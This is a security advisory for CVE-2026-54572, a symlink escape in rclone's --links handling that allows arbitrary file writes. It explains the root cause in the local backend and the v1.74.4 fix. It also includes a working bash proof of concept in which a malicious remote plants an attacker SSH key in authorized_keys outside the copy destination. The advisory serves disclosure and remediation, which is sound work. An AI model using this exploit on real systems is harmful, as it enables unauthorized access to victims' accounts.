high · 7.5CVE-2026-54572Aug 5, 2026

CVE-2026-54572: rclone Symlink Target Escape via --links (Arbitrary File Write)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

When rclone copies from an untrusted remote with --links enabled, a malicious .rclonelink object can plant an escaping symlink inside the destination, causing a subsequent file write to land anywhere…

Packagegithub.com/rclone/rclone
Ecosystemgo
Affected<= 1.74.3
Fixed in1.74.4
CVE-2026-54572: rclone Symlink Target Escape via --links (Arbitrary File Write)

The problem

rclone's local backend recreates .rclonelink objects by calling os.Symlink(<object body>, <dest path>) with no validation of the target. An attacker who controls the remote sets the body to an absolute path or a ../ sequence, planting a symlink that points outside the destination directory.

Because .rclonelink names sort before their sibling directory names, rclone creates the escaping symlink first. The next write (mkdirAll then file.OpenFile with no O_NOFOLLOW) follows the planted symlink and writes the attacker's content outside the destination.

The result is arbitrary file write as the victim user, which can overwrite ~/.ssh/authorized_keys, shell RC files, or cron files and lead to code execution.

Proof of concept

A working proof-of-concept for CVE-2026-54572 in github.com/rclone/rclone, with the exact payload below.

bash
# 1. Build the malicious remote tree
mkdir -p evil/pwn dest victimhome/.ssh

# .rclonelink body = absolute path outside dest
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink

# payload file that will be written OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys

# 2. Serve the malicious remote
cd evil && python3 -m http.server 38080 --bind 127.0.0.1 &
cd ..

# 3. Victim copies from the untrusted remote with --links
./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v

# 4. Result: file written OUTSIDE ./dest
ls -la dest/pwn          # dest/pwn -> .../victimhome/.ssh  (symlink escapes)
cat victimhome/.ssh/authorized_keys  # attacker key present

The root cause is in backend/local/local.go Object.Update(): symlinkData is populated directly from the source object body and passed straight to os.Symlink() with no check for absolute paths or ../ components (CWE-59). Because the filesystem sorts pwn.rclonelink before pwn/authorized_keys, rclone creates the escaping symlink first, and the subsequent directory walk for the sibling file follows it out of the destination.

The v1.74.4 patch does not restrict what target the symlink may point to (arbitrary targets are still created faithfully). Instead, it detects when a path component being written resolves through a previously planted symlink that exits the destination root, and skips that write with an error.

This breaks the two-step attack without limiting legitimate round-trip backups.

The fix

Upgrade to rclone v1.74.4 or later. The fix makes rclone refuse to write any object whose resolved path passes through a symlink that exits the destination directory. The skipped file is reported in the error summary; the rest of the transfer continues. No configuration changes are required beyond the upgrade.

Reported by Nick Craig-Wood.

References: [1][2][3][4][5][6]

Related research